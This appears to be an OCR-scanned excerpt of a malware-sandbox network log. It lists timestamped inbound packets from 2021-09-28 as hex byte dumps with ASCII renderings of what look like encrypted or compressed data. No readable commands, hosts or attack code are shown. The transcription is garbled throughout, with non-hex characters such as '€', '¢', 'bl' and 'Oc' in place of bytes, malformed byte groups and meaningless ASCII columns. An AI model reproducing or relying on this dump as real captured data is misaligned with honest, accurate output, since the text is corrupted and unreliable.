b3 5f 2c a4 66 17 24 01 87 57 92 3c 1d 13 a9 9f Oc e0 ab 37 67 25 12 b6 b2 8a 32 78 a9 2f cc eb 7d 78 54 eb ce 5e d5 43
39 6b 0a b7 a6 0a aa e0 77 06 01 41 88 14 d3 8c 5¢ 79 f1 ec f3 ed 9e 30 34 1d 49 c7 06 6e fb 85 55 00 1f 07 7e 50 03 cc
9b eb Of 1f 77 92 31 d1 af 1f 63 13 81 fa 61 1f 8f c3 Of 8¢ 8f 72 4f 61 9c 8d c7 ba el 77 bl 3c 8¢ 60 af ed 3e e5 81 9c 7f 12
e4 a5 3e 4f 7c d7 1b 49 81 €3 89 bd 92 90 3b 16 87 35 2b c9 ce 43 79 39 08 c1 1b a0 6¢ 36 51 a4 a2 0d 9b 76 8c e7 83 df
al cd 1d 39 ec 38 45 d6 Oc bb 15 cb 91 fb d4 80
Data Ascii: PF6/uKUx-,6-pbC{RB1ig/AwrX2001_,f$W<79%2x/}XTACIkwAly04InU~PwlcarOaw< >>0|l;5+Cy9I6QvI8E

2021-09-28 07:53:28 UTC 432 IN Data Raw: 17 d8 8b 9d cc ea 6e 04 18 02 b1 72 98 1d 9a c5 98 bl 33 1e 94 b2 e4 a9 7d ac d3 3d 3e b0 d9 b3 93 79 df ec
95 b6 f6 ff 38 4e 8 1a 26 5f 09 33 31 93 2 13 5f 4¢ 2¢ b1 e0 c0 6f 49 4¢ cO 7b 5¢ 9b ee cf 03 cc 86 a0 4d a7 3e e4 6b 6e
21 d8 53 c4 65 be aa f0 ad 69 85 08 98 ¢3 52 34 d8 83 fa 31 8b 36 a7 34 8b 28 0d ec d2 a4 98 f5 02 90 14 14 2c 82 4e 02
20 60 b5 ae 2e 7c 16 5a 31 c6 03 62 78 6b 16 03 23 dd ce 8f a3 b0 f3 6d a9 7b e6 1b 18 e2 cf fe cO fb 43 cd e5 a7 31 5f 30
7d 7a 8e 86 63 b9 7f 04 bc 19 fa 42 9e 7b 11 90 05 5e cf bl ec d5 6e 19 7a 9c 40 67 87 fe 40 e4 a7 1a 96 7c 86 7f 9b e5
Oe cd 3a 70 09 11 3a 81 cd cc 6f bb a7 c4 f1 b2 5e af 77 39 7b 32 70 d7 1a f5 a3 85 a2 25 86 84 bf 4a c5 d5 9a 86 2f 4b 06
fO b5 40 c0 83 42 21 b7 2a 83 a9 3c a8 10 19 27
Data Ascii: nr3}=>y8N&_31_L,0lL{\M>kn!SeiR4164(,N ".|Z1bxk#m{C1_0}zcB{*nz@g@|:p:0"WwI{2p%J/K@B!*<'
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:28 UTC 436 IN Data Raw: e4 1d 5d c7 a3 a8 b7 bf 70 c3 e3 7e e4 el 1c 28 c9 59 c4 7f c3 35 2f 76 04 dO 84 99 a3 2e 89 4d 64 57 52 63
al Oc e0 e6 cf 4e e0 d7 9a e8 89 8e 66 da 6d 86 a8 d2 ce bb b5 18 ba 04 70 87 88 21 cb d4 b4 94 66 1c 2e 7d 29 8b 83
al 4aff 1a bb df 50 13 1d 70 5e b4 25 ed 48 b2 48 Oe fa 6a 25 5d f2 8e 75 74 10 9d 45 a4 6d 70 79 3c 5a 22 4d 52 66 f9
e2 ce f8 9f 0 29 c9 30 63 87 ef 2a Ob €9 82 Oe 8b 22 58 47 02 2e 46 46 67 57 67 9f 84 33 74 a7 fd 1e 90 b1 Ob al 3f 9f 92
8196 58 12 bb 13 d4 e5 58 Oc 4e 17 cf ec 65 5e 08 2a f6 88 29 1a 38 16 00 eb f4 61 ba d3 a3 80 06 2b 24 92 d4 6d ef 7e
04 15 ca 09 77 24 ed 67 d1 cc ee fc 26 17 c5 1c 2f 49 8a 10 Ob 17 2d d8 b0 ce 66 a5 a2 6f ef 8c 9e b7 c1 88 46 76 41 bl
3237 64 fb 9f 9b 70 2f b4 8e 68 de f1 cb 30 48 al 06 {7
Data Ascii: Jp~(Y5/v.MdWRcNfmp!f.})IJPp"%HH]%]utEmpy<Z"MRf)0c*'XG.FFgWg3t?XXNe”*)8a+$m~w$g&/I-foFvA27
dp/hOH

2021-09-28 07:53:28 UTC 440 IN Data Raw: 82 dd 58 49 9b db 86 56 26 fc 9d 8a 8b 14 ba 2f e5 b7 49 db f1 b6 89 8a c7 €9 55 73 0f 86 b5 10 03 15 de 8c
d7 c0 53 c5 09 7f 05 89 9b 03 5a 08 €8 20 42 6a ea €3 el c4 d8 8e d5 81 09 7e 36 f8 93 d2 8f 3f 8d ce fe 31 2a 35 be 2b
e4 21 a9 7a af 58 b9 24 af 2c 3d 1a fa 36 be 55 87 7c 64 4e ba 76 21 0f 3e 5¢ 38 fd ec 42 8f 9f cO 9f 19 af 77 93 66 fe 21
cd 36 48 6b 73 4f e1 39 58 €3 09 5a 94 cd 33 aa 30 64 f4 61 b6 00 88 b3 ce 60 3b 84 ef b8 4a 67 16 af 7a c2 18 bc b4 a6
cf 60 a2 74 22 ¢5 d0 6a 8d df fd 10 41 dc d1 6e 92 3a 37 1le d6 f8 da a7 b2 a0 08 fc 9c 5f b7 0a 00 42 9b e5 29 71 35 cf 55
ce ee 5d e9 b4 43 30 ce c0 95 88 e5 c0 21 2d ef Ob cd 3 44 c7 2a 5e 49 69 fb 9b 64 44 dc 6e b4 b4 4a 69 fe 64 f3 9b 17
6b 86 7b a2 e0 9a ee f6 05 3d 64 27 29 b7 64 d5 el
Data Ascii: XIV&/IUSSZ Bj~6?1*5+!1zX$,=6U|dNv!>\8Bwfl6HksO9XZ30da";Jgz t"jAn:7_B)q5U]CO!-D* lidDnJidk{=d")d

2021-09-28 07:53:28 UTC 444 IN Data Raw: 78 Oc f6 49 5a cb 4e 86 24 fa af 67 86 3c 45 00 dc 44 4b 09 1f 57 7d d8 58 99 6a c3 18 82 99 24 Oc ca 9a 39 64
cf 1c b3 33 79 4f 64 1d 04 5c 2a af 3c 68 3f 92 b6 b0 2b ee ce 05 53 21 04 04 68 ba 10 Oe 8c 5d 15 1a a6 bd b5 7a 7 9d
4a ec b4 21 e3 65 a6 d5 ff 7b 9 22 93 43 19 9b 09 20 ac f7 f9 30 Oc 61 8b b4 Ob b1 09 5 55 95 89 ac d6 ea cd a3 fa 68 70
b4 70 72 02 4a 1f 01 5f ea 78 55 27 d0 93 2b 37 fe 4f 37 3f 39 b8 40 e4 0f d1 ff 09 42 f3 6f 57 37 d6 a2 74 f4 d3 84 65 1d
da c3 40 77 53 85 da 9d be dc Ob d2 47 0d 51 82 b4 Oc 5¢ ee 7c bb d8 06 01 ed 14 e8 c2 1e 4b 64 16 €5 b0 76 07 49 cb
318388 ch 696296 73 b9 ae 3e 11 b1 82 86 b6 ed 16 a5 d6 1e 28 7f 7e 69 ca 4d b1 32 bc 5b d1 a3 54 94 e8 8b Oc c9 7¢c
d9 d4 59 8e 85 al f4 ea 96 74 d3 4f 7c b8 d5 2e a7
Data Ascii: XIZN$g<EDKW}Xj$9d3yOd\*<h?+S!h]zJ!e{"C 0aUhpprd_xU'+707?9@BoW7te @wSGQ\|KdvIlibs>(~iM2[T|
YtO|.

2021-09-28 07:53:28 UTC 448 IN Data Raw: ff 2d 08 4f c7 96 66 20 Oe 5d be d2 43 71 ¢4 15 c7 Ob 3c 38 64 4c b3 09 f9 1e 83 21 8f 9¢ 23 14 3b b9 45 0f Oc
3a c2 9f 83 e6 bf a6 85 9a 14 aa 7b 92 ¢5 b4 ad dd 67 89 fa db ec 69 14 24 fc 19 fb 30 1d f7 6d 72 95 f7 8f ad 94 be 2e 4c
03 f7 08 85 3a 50 7e 91 d1 ab 19 40 2b 19 dO 46 dd 35 f1 ee 2¢ 85 db 7a f7 48 73 85 d1 2a 77 a9 58 ¢5 0d 8a 74 d9 63 53
e8 3f d2 08 68 22 9d 6f 65 2 Oe 52 88 15 87 58 Oc 21 a7 fO 4d 82 3c 2e 72 78 84 52 22 8¢ 5¢c ae ab 28 1a 4c 41 ed c8 c6
63 34 e3 a4 b9 9a 54 b8 de 3d 4a d6 8b cO df 9a 34 2e cf 27 ab 21 82 84 c2 42 99 16 ec a2 6f cd ff b2 el ce 6e 46 16 4f ec
le 0f 70 c0 30 1 85 33 2f c6 3 el 6d d9 5a 39 0 94 c8 ce 56 57 1d 79 f5 52 91 51 94 d5 f9 59 4a 7f d3 a5 91 7a 88 4f a5
42 8e 7f 70 be 3c €3 e7 45 64 94 55 e4 €6 11
Data Ascii: -Of |Cq<8dL!#;E:{gi$0mr.L:P~@+F5,zHs*wXtcS?h"0eRX!M<.rxR"\(LAc4T=J4."'BonFOp03/mZ9VWyRQY
JzOBp<EdU

2021-09-28 07:53:28 UTC 452 IN Data Raw: 10 c8 f5 ¢3 5a 84 b0 be 16 93 4b e8 79 60 b9 30 ae 15 1e e4 3f 70 4b 20 57 50 04 97 38 a6 9d 8b ef Of be 7b
d9 2f 3¢ 93 69 88 8f bb dd aa e5 28 ¢6 00 Ob 12 ce Oc 40 04 15 32 ae be dO 5c f0 26 ad ae 7f b3 13 73 8f 26 d8 32 15 38
78 4d 02 38 35 05 c2 18 95 9 09 5¢ 08 80 a9 5f f2 4f b3 8¢ 09 00 b4 65 e4 c7 87 78 45 fd a8 ec 97 14 a7 e2 6d ba bl 4b
94 98 ec a7 9d e4 d4 b3 d5 ac af 37 29 39 1f 68 5b 1b cb 08 53 86 3c €6 7e 77 30 dd 9b 9c f7 18 c9 51 3f 3d 65 5b c3 8d
fO b5 e3 e2 7 c9 db 42 19 71 39 8a 70 84 d9 85 1a c2 bf f9 65 36 6f 4c €9 d3 05 12 Oa 44 47 68 6b 40 b4 ba d4 Oa 2e 3d
fb aa 46 de 38 4e e5 47 5f 9b e5 aa d9 56 98 53 4a aa 13 77 1f 2e c9 da 16 fb 25 53 ac 81 8d 4b 13 52 5e d1 56 7d 2d 02
cc d0 75 13 fb 28 28 37 3a cb 6f 83 5b 7a 3f 28 65 da 7c
Data Ascii: ZKy 0?pK WP8{/<i(@2\&s&28xM85\_OexEmK7)9h[S<~w0Q?=e[Bq9pe60oL.DGhk@.=F8NG_VSJIW.%SKR"V}-
u((7:0[z?(e|

2021-09-28 07:53:28 UTC 456 IN Data Raw: d8 87 27 a5 16 50 71 28 c4 c3 e8 a5 37 ¢3 45 17 d9 34 34 28 99 13 b8 d5 45 c1 eb 96 2f 2d f9 ¢5 54 d5 c5 b3
d6 8f a2 98 25 99 ef 10 58 a9 4c 6e b6 f6 56 10 57 Oc 64 ec 03 d9 02 08 43 f3 49 e6 c2 f6 3 f5 cf 57 6d 3d cb 11 f1 54 4d
2d be 11 a0 12 86 e0 5b 1f 9e 87 18 4e 91 b5 38 43 13 63 el 1b 9f 77 4a 15 Oc c6 58 Oa 81 38 26 ae 19 20 e0 34 ee 13 33
11 7b 7a 26 c4 4c f7 77 b9 6a d2 el 06 81 20 d4 f3 97 2c d1 31 55 17 6d 03 2e d0 17 a3 b9 53 ec 68 d1 fa f6 2b 3c a7 27
8892 67 8d 65 fc 2a 06 fc 78 14 b3 bb a3 66 53 ae al fb 98 3c 6f 8e c1 c0 b0 c0 66 4f ff 1e e6 al e8 bd e6 9c 39 55 50 32
6¢ 7f 55 8f ¢8 13 7a f5 f1 fc 42 1b 66 ae c¢8 12 33 68 8b db 35 59 ab 78 3b d0 af 61 1a 36 f5 03 e6 5f 66 56 06 Ob 2a cd bl
7b 88 2f 56 90 29 f6 ef 73 b4 43 51 dc 51 e9 94
Data Ascii: 'Pq(7E44(E/-T%XLnVWdACIWmM=TM-[N8CcwJIX8& 43{z&Lwj ,1Um.Sh+<'ge*xfS<ofO9UP2IUzBf3h5Yx;a6_fv*
{IV)s€QQ

2021-09-28 07:53:28 UTC 460 IN Data Raw: 0d 04 89 52 f7 b3 25 ce a6 16 1d 1f 9f 3f 98 73 7e 7e 90 2a 52 1f 07 6¢ b0 c5 b8 54 6 fe 79 cb 6f 1a e6 a8 ca fe
08 04 9a ae b7 a5 e0 ad d3 54 18 01 08 5e f8 1e 60 85 76 9b 65 1b 9d 73 d0 e7 14 d0 08 el fb 75 95 0d 5 90 73 c5 a5 bd
bd a4 4a 7a 46 76 cc f3 2a b0 b2 34 00 db e5 3e 32 ac 3c 8¢ 2a 64 f8 c7 73 ed 4f cc c1 a7 ec 82 59 06 1e 06 94 77 d3 c9
36 1le 04 95 b7 99 53 f0 28 4d c9 4f 48 66 50 6¢ 34 a6 60 50 32 ce 09 ec 32 db 09 71 df 5b 98 5¢ 76 ad 36 2d d8 cd 5a fb
37 88 d5 30 e4 31 43 db 29 91 dc 03 eb 96 69 7d 15 06 eb 55 a3 06 09 8b 8d 5e 24 a2 80 1b 37 el 0d 18 25 2b 28 c4 eb
2f 15 Oc 5f 67 e0 e2 4e 76 41 b6 51 d8 cc a3 92 b1 64 90 90 91 43 5a 2e 56 b6 94 9e c5 33 b5 68 36 a0 5b 16 0d b8 e5 a3
98 c2 fe ea f0 68 34 29 4c d6 68 a7 6b a0 06 2d 72 29
Data Ascii: R%?s~~*RITyoT/ vesusJzFv*4>2<*dsOYw6S(MOHfPI4 P22q[\6-2701C)i}Ur$7%+(/_gNVAQACZ.V3h6[h4
)Lhk-r)

2021-09-28 07:53:28 UTC 464 IN Data Raw: cd a8 a4 66 92 13 fe 13 05 f1 53 06 a4 07 e3 7c 10 e6 60 d2 07 45 9a b9 26 35 0d 53 e0 77 db eb 6d ff 5b 6a {7
eb 33 6b ee db 6b aa aa 42 4a 9e ec d7 33 40 0d e2 2b 98 9¢c 95 97 1c al 28 3c c0 04 be fc 2c f4 03 47 32 €2 79 a9 5¢ 71
832599 6b 5e d9 1d 65 94 b3 c1 43 47 5d 39 95 4d fd e3 2f 4a 4f 89 0a 68 5a 77 c9 d3 34 a0 a7 7a d8 d7 65 e9 3d 5d Of
08 58 86 2d 08 40 51 19 cb 57 8b b8 f2 bc 5d ch a9 71 75 d8 8f 61 41 1a 99 58 b7 09 70 62 d4 e5 d9 7f 3d ca ce 1le c6 09
9 25 f7 c2 6b 6a b8 b7 dd b3 78 46 fa 39 d6 5d 5¢ 80 16 9d el 04 5f 20 c7 36 b3 2a 91 ab ae 10 20 26 36 88 cc 02 el a9
9b cb cf a5 76 64 23 f0 51 35 ea 5a 53 25 bc 69 fc 3f 3d 04 4f da 9a 26 {6 f3 91 81 22 da 07 03 c0 f1 1e cb 27 cc 65 la 6a
02 04 42 43 89 f9 ¢5 16 f1 71 1f 03 52 6f db 76 27
Data Ascii: fS|"E&5Swm([j3kkBJI3@+(<,G2y\q%k eCG]9M/IOhZw4ze=]X-@QW]quaAXpb=%kjxF9]\_ 6* &6vd#Q5ZS%i?=
0&"ejBCqRov'

2021-09-28 07:53:28 UTC 468 IN Data Raw: 2a 88 89 a8 98 76 5 9b b4 ¢9 35 7b ¢5 2d f9 b4 aa 1b a9 e7 2c da 3c c6 56 95 bf 76 d8 de 35 41 4 9f 76 31 a9
97 ea 00 da 12 5d 41 96 f1 9a 90 94 48 58 8a 28 3a 5f 8f 7a al 64 4f e2 14 82 ec 88 c1 32 3c 1a 42 47 f5 68 77 4c 48 12
a7 35 7a 26 e3 f2 8f 29 15 75 b5 23 62 a8 b4 44 07 fb 5¢ 22 85 60 9e 27 9b 2c a7 71 43 2d db 16 65 85 ad 37 21 c0 01 26
84 e2 3f de 78 c4 81 7b 6a 85 97 28 e5 ba 33 81 25 40 8f ae ac ca 4d eb 94 6f 7c ea 23 f1 13 46 12 33 ac a7 60 9c b5 09
5599 8f 99 a3 5a 1a 6a cf 15 13 40 d2 35 d3 c1 47 d9 41 b4 f6 62 68 f3 88 5e b0 b1 c¢7 54 18 5b 07 66 91 2d 6b e4 85 c8
3c 4e 8a 49 b7 51 4f 27 2f 61 36 83 eb a0 b4 99 46 2d 6d 16 7d 84 68 5b df ba dc a6 7e 2f d3 e2 b6 64 e4 8f cc 24 ca 04
fd 92 1d d3 be 5d c0 4c 10 06 2d 91 52 1e 43 50 fd {7
Data Ascii: *v5{-,<W5AV1]AHX(:_zdO2<BGhwLH5z&)u#bD\""',qC-e7!&?x{j(3% @Mo|#F3 ' UZj@5GAbh T[f-k<NIQO'/a6F-
m}h[~/d$]L-RCP
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:28 UTC 472 IN Data Raw: ac 8d 7c 09 a2 1f bb 39 e3 7f c2 c0 f1 19 9c 2c 09 51 37 14 70 18 fO 7b 95 d2 2e 7b 1c d2 86 db Oe 79 41 e8 0d
b4 4f 7a 4a 78 52 83 1a fc b9 73 52 c1 ba 88 14 de e5 10 4f c4 c1 63 c5 7a 02 b2 e9 30 ae a9 fa 87 de 42 54 40 03 a0 32
d5 c2 59 d1 4e 9a 48 6¢ 90 75 e6 f6 80 c5 35 €6 7f a8 f7 18 43 a6 97 38 92 66 13 af c6 d9 a7 4e 00 7c 3b bd 32 87 05 bc
e4 a5 fa b4 5f d9 79 26 ee b1 25 14 12 9e aa ae b6 1b 11 21 c4 30 66 87 ad dc fd 44 9c 6e 11 83 aa 72 a2 1f d1 57 laal
c4 69 7a 34 50 53 41 fb 7a 28 8f 11 04 33 b8 59 5e 24 87 07 8a d2 58 5a 64 b7 3a 15 5a ba f6 d0 2b 5a 52 24 d1 db ec 1f
4e 53 76 54 13 b4 be 98 4b 14 1e 15 67 41 29 b2 64 be 86 19 03 4d fe 8f 63 4d e4 4d a6 90 af 44 18 e4 cb 1d a7 7e 86 6b
8c d1 87 a5 12 47 c2 8e al 6f 6d eb 00 1e 34 bb cb fh
Data Ascii: |9,Q7p{.{yAOzIxRsROczOBT@2YNHIu5C8fN|;2_y&%!0fDnrWiz4PSAz(3Y $XZd:Z+ZRSNSVTKgA
)dMcMMD~kGom4

2021-09-28 07:53:28 UTC 476 IN Data Raw: 8b Ob 2f 47 5b 50 cd 14 7a ee €6 ab €0 24 7f c6 f8 79 72 81 17 47 72 3e 24 41 b3 10 eb 0d bc 1b ba 44 c7 ea
81 bb 1e e6 cc ac 70 14 e2 b6 2b Of 2f 72 d4 38 ff 4b 2b df 3e a9 5d 45 d0 49 5¢ 80 c7 e6 94 03 b8 3¢ 2d 2¢ 91 26 c1 64
837 04 27 92 ad 8d 35 7f 75 Oc 4c Ob 82 37 8¢ 81 d3 31 78 63 64 34 al a5 Ob 69 ab 90 1e 18 ee f3 29 9b 57 37 41 06 fO
e7 7c 21 cf b7 33 4f 99 0b f0O ee dc 34 26 b9 11 c6 ae 23 2c b3 80 41 59 80 0Ob 8a Ob fa 8e 9f 20 50 79 18 52 17 5c c2 08
5001 2c bc 8e ch e7 f8 8b 27 18 3b 15 98 f2 2f 32 18 1d a6 b2 c0 35 12 6d c1 8d 81 1a 67 92 53 d8 01 42 27 5c ea Oe f7
9d 8c be 5a 72 04 35 d4 9e c4 6b b4 5e de b9 93 e4 19 ed e7 99 9e d0 94 c9 b9 1b 38 5a 8b c3 a9 68 a3 cb e3 3d fa 39
72 ¢l 7a 68 81 e7 al 87 cc 2f 62 1f 65 ed 02 b0 32 ca 85 97
Data Ascii: /G[Pz$yrGr>$ADp+/r8K+>]EI\<-,&d'5uL71xcd4i)W7A|'304&#,AY PyR\P,";/25mgSB'\Zr5k"8Zh=9rzh/be2

2021-09-28 07:53:28 UTC 480 IN Data Raw: 59 €9 79 95 03 20 ff 09 5¢ 9f 51 d7 b2 8b 44 e8 de 90 el b9 79 57 97 3d 09 55 23 cb a6 34 8c 37 50 f9 ce 03
48 ce d2 f0 1c fc d1 80 4d f9 2b 36 9¢ 46 c2 92 1d d5 08 c1 f3 cd 34 20 c0 9a cb 10 0f 5e 70 24 51 Ob 05 98 82 d4 b3 ac
98 04 37 ae c8 77 d6 55 c6 4e 9c 31 4f a4 4f 2e 7b 5f 1e a3 ea cf €9 eb 6a c9 ca 8f 41 13 d7 d6 aa c8 22 af a2 2e 90 ca 59
cc e9 07 cb 57 73 33 22 96 da 63 6a 3c 4d 54 ea 8d 87 73 70 94 ff c1 ad 17 b8 d7 ee 5a 3d 65 c6 3¢ 46 b6 84 35 61 4e Oc
0a 19 ab 2b ba fa ae 4a 68 7f db ea f7 5e ac 75 c6 80 2a a8 aa 70 98 {5 f1 9a f1 d7 85 63 a2 6¢ c6 46 b8 6¢ 2f 7b ba 96 58
6e 26 49 23 16 05 39 a6 74 af ef bf 2b 26 b5 8a 16 a2 69 €9 57 67 €8 a0 a7 30 39 39 64 87 83 95 0f 30 3e 2a cf 9b 4 3f 31
87 d4 db eb 50 67 05 2c¢ 19 45 4a 20 f9 b2 d5 38
Data Ascii: Yy \QDyW=U#47PHM+6F4 "p$Q7wUN100.{_jA".YWs3"cj<MTspZ=e<F5aN-+Jh u*pclFI{Xn&I#9t+&iWg099d
0>*?1Pg,EJ 8

2021-09-28 07:53:28 UTC 484 IN Data Raw: eb Oe 00 7d d1 e2 6d a5 39 11 ed c6 92 30 1b f4 28 4b 35 42 9a 62 33 8e 16 Oa 16 e2 aa 3a 9d ef 7b c4 96 53
7292 2d 12 39 92 58 Ob 67 f1 b0 61 18 c6 93 €9 4d b0 58 92 b6 ef b9 58 b5 d1 d5 08 4c 21 03 el aa 2b 06 e6 b8 a4 bc 37
79 06 aa 90 74 3d 72 bc 83 21 65 f4 66 9c 8e 2f 1b 52 17 6¢ 31 db 92 9d d1 ed 8d f5 00 b4 57 bf 35 fa c8 bf e5 19 81 34
e9 e7 7b 35 9e c4 4f fe fb 86 4a 93 76 82 1d 3c b3 db 92 91 8b b2 e8 24 ef b0 a7 ef 2d db 4a c9 9d e2 cd 61 9b aa 9d f2
59 e7 aa cf 0a b3 67 c2 26 dc 8d 8b f1 ab 21 47 4f 9f 70 d3 db 45 d9 2a d8 3d c8 4f Oc 20 29 67 b5 2b f7 39 c1 31 87 c1 99
5d 72 88 €6 60 10 73 44 06 fc 7e 59 fe 8b 0f d3 c1 03 64 6a €9 51 73 43 e9 Oc 3e 59 3a 42 ad 1a c4 8e 4f 91 34 2¢ 63 7d
cb 5e 0594 26 90 4b 1c 75 d7 11 28 9a 4f 28 f2 d5 53
Data Ascii: }m90(K5Bb3:{Sr-9XgaMXXL!+7yt=rlef/RIIW54{50Jv<$-JaYg&!GOpE*=0 )g+91]r'sD~YdjQsC>Y:BO4,c}
"N&Ku(O(S

2021-09-28 07:53:28 UTC 488 IN Data Raw: 2c 38 94 55 c2 44 c6 ff 4c 76 34 ff 7c 25 95 4c 4b ec 7c 89 90 23 20 58 82 1c 19 fd 1a 92 52 bb b7 27 18 {7 3b
82 15 9f 56 16 ae e1 00 53 e6 1c d3 b9 8c c9 69 b4 6b 7b 91 f4 5d 87 d5 3e 24 d7 e2 ba bf 07 14 b4 cf 5f 9f 12 04 82 7e
1a 68 00 85 7 Oc a4 fb ac 97 fb 01 df 15 c0 c2 da be db 05 a9 f6 99 be 1a e9 a5 cf eb 7d 6d ec 19 30 6f d7 de 26 ee 96 d7
f2 1090 fO c6 Ob 7e 91 58 54 a3 c1 53 76 62 0d 7 85 6f 9b 79 6e 43 8f 9c 97 16 32 ¢3 59 00 el 76 8a 8f c8 3d ba bf 28 29
13 1c 6¢ 10 94 60 e0 b1 a2 Oe 5a 4c b4 d5 d1 bc cb 02 6a 9e ea bb b0 be d3 23 95 79 d4 55 f8 7e 41 64 1c dO 2f fb 38 df
d2 8d 77 Ob 03 9a 7a 08 42 fb 81 35 5¢ 49 33 a5 71 1c 6b db 77 93 45 39 d0 52 fa f4 9d 5d cb cc 90 f6 9c 6f €9 15 68 el f9
aa 60 69 79 ae 94 70 c6 ce e2 f0 al 63 38 37
Data Ascii: ,8UDLVA|%LK|# XR';VSik{]>$_~h}m0o&~XTSvboynC2Yv=()I'ZLj#yU~Ad/8wzB5\I3gkwE9R]oh'iypc87

2021-09-28 07:53:28 UTC 492 IN Data Raw: ef 1f d2 8e 3d b2 8a 93 4d 36 3f 34 d3 ae a8 88 87 fb 07 2f 67 b4 94 de 10 4c 42 d0 92 bf 60 f6 19 5a 03 97 82
67 e7 64 ea 97 56 71 dc f8 09 74 b1 3b 47 32 09 4c 5 c8 a2 ef ae 1c 50 cb 64 59 50 ch c8 42 2f f2 1e bd 41 14 b9 3b ef c6
cd d4 8c 97 30 6f e8 ad 23 4b 2f aa fe df 4c fe 1e c6 11 db 6d 89 b3 e8 b5 3d b5 89 52 74 b7 58 82 01 6e 51 c8 3f 86 93
24 b2 53 b5 da 21 dc 4c 69 bc a4 el e4 c6 38 5e 17 3d 9c d1 60 44 7c 88 56 57 8f 45 21 b7 f5 de 64 5 41 60 Ob 66 fc 52
ce 9f 3c db ef 3f ¢8 16 01 70 6b d2 5c 29 30 eb 5e 5b 14 21 71 82 b7 89 99 43 5d db a3 6e 4b 97 b2 fe ea 3a 67 6b 5e 5d
3b df c8 5b a8 88 2¢ 80 61 98 77 74 f2 be 7 9d b2 57 fc 4d 1d 91 ¢3 9d 7d 30 27 c9 fc f9 28 98 a8 f3 a4 1b 5 9f 1c 1a 5¢
cb 8f 6f a3 9d 4e 2d 60 be 85 5a 08 8a c8 23 d0O
Data Ascii: =M6?4/gLBZgdVqt;G2LPdYPB/A;00#K/Lm=RtXnQ?$S!Li8"="D|VWE!dA fR<?pk\)0"[!qC]nK:gk"];[,awt
WM}0'(\oN-"Z#

2021-09-28 07:53:28 UTC 496 IN Data Raw: 9f Oc 40 11 16 e0 22 fa f0 04 09 c2 bb 25 ¢3 53 9¢ 3d 35 7¢ 00 f2 fc 55 c5 1f Oa ec 8e 61 5e 8a 48 91 57 bf 3
9a 16 ¢9 18 cd 36 54 6a dc fc 58 d9 5d d6 89 Ob 46 1d db f8 a6 11 25 34 f6 7a eb 02 97 cb 74 13 35 95 2e 96 ff 04 a6 14
96 f2 €2 91 ¢3 8d 23 bb 24 16 17 8c 94 4e 8e 73 91 cb 06 93 07 f4 1e 5¢ 93 1f af 4c 49 12 44 bd 8f 56 f1 fa fa 7c 8b 70 ed
ba 5d ee bb 43 b7 7c 8f d9 ab 41 bb 03 Ob 37 25 7e 82 c2 e4 00 3a 44 24 cb 46 c4 6 f2 f2 83 54 87 2f 90 0d fb 04 45 9c 3¢
e4c3 1548 2b 63 73 c5 cd e3 6b ad 01 1f 38 78 74 b2 30 b7 91 ¢6 51 54 56 c0 02 19 5c ea a5 a2 96 59 c3 fc 93 4a 94 01
ac 99 0f 90 8e c7 3e 48 32 5¢ 9e 44 21 ba 79 9d 34 01 b6 4b 75 c5 ab 67 ca 2a 60 d1 2d b5 2a 5b d6 26 5e 55 63 9a f2 5b
8e aa 72 61 38 09 87 b7 ea be 4c 9e 76 f4 5d ac
Data Ascii: @"%S=5|Ua"HW6TjX]F%4zt5 #$Ns\LIDV|p]C|A7%~:D$FT/E<H+csk8XtOQTVAYJI>H2\Dly4Kug* -*[& Uc[rasLv]

2021-09-28 07:53:28 UTC 500 IN Data Raw: da 1f 9b 93 6a a3 2a 26 db b6 b9 d8 c7 e4 26 43 c8 55 02 06 43 6¢ fa 03 4c ca 8e al ac 06 a7 7 03 f8 4e 3d 86
db 0f 63 69 3a a4 59 b5 55 €0 02 d4 07 a0 7c c7 1c Ob 31 a0 89 7f 7e e2 ca 91 cd 5b 19 3c 17 11 5¢ f9 93 b9 4a 7a 5e 50
6c 8¢ 34 08 ed 23 70 ¢3 5b d2 94 21 63 8¢ €0 8d ee 18 f5 91 a0 ba 82 7d a6 39 8c fa Of 43 15 35 8¢ 2e 87 46 ca 5c 4b c2
a3 3a 3d d5 95 be e0 b7 ee 95 92 3c d6 27 3f 65 7e 40 57 3¢ 0d 22 78 c6 b8 48 ¢5 56 d9 08 Oc 2a 25 1f ¢8 16 c2 07 3f f8
el fe aa 25 88 bd 4e 54 29 cd 7f 9f 98 18 a7 33 53 1d a4 ae 2e 8a 79 cf 20 c5 55 a6 63 Oc df 73 d5 63 15 e8 a2 28 01 2a
71 b7 c88a9c d5 f9 6f 39 7d 17 e7 4b 5c ee 5b 87 76 10 55 09 eb ce aa c5 a0 49 ac 09 dO d6 c3 3¢ 9f 41 79 37 b8 64 3e
40 67 caf2 e3 8e 7d 12 54 8¢ 92 1a 5a 2a €0 98 aa 18
Data Ascii: j*&&CUCILN=ci:YU|1~[<\Jz"Pl4#p[!c}9C5.F\K:=<"?e~@W<"xHV*%?%NT)3S.y Ucsc(*qo9}K\[vUI<Ay7d
>@g}yTZ*

2021-09-28 07:53:28 UTC 504 IN Data Raw: 76 ed da 6a 8c f4 3a 02 cb 03 31 e5 d5 ec f7 7b 8f b7 6 ef Ob c6 da 85 1f a6 Ob e7 34 ff d3 96 45 4c Ob d4 86

83 ca 69 ff 56 5b 75 71 {7 bd 6a 61 03 38 ee 4c d9 b6 ab 64 2c c6 45 30 b8 59 f1 b4 63 c6 75 6¢ 6f 33 f1 42 46 67 d5 f7 a4
8b ab b9 50 23 ea 0d 04 38 3a 45 c9 06 41 8b ee be 3 91 dd 49 3e e5 61 2a 35 ae cc 6¢ 96 44 ca 99 1f 3e 25 0f c8 70 14
€7 09 9b d3 03 b6 2b 05 1f 89 35 9¢ 38 54 ef 6¢ ba 75 a4 d9 9d cb 7b df 57 9d d7 97 e4 4f 9b aa a7 6a de e7 27 ba 59 e9
b3 14 d8 47 6e 15 2f 32 11 db 41 fb 94 14 a3 15 45 21 ef 04 36 6b 9e b8 41 57 39 8¢ ce bl Oe 75 e7 6d d7 24 a2 c9 04 b2
b2 e8 61 f5 97 92 13 86 ee 0f 34 84 3c 3e 67 13 d7 b5 8a da 56 ab 14 4d 26 17 c1 49 b6 c8 52 c4 9c 90 98 64 52 87 Of 61
ed 01 1a 9a 79 05 Oa d5 cf ad 29 54 8b a6 76 4a b7

Data Ascii: vj:1{4ELiV[ugja8Ld,E0Yculo3BFgP#8:EAI>a*5ID>%p+58TIu{WOj'Y Gn/2AE!6kAW9um$ad<>gVM&IRdRay) TvJ
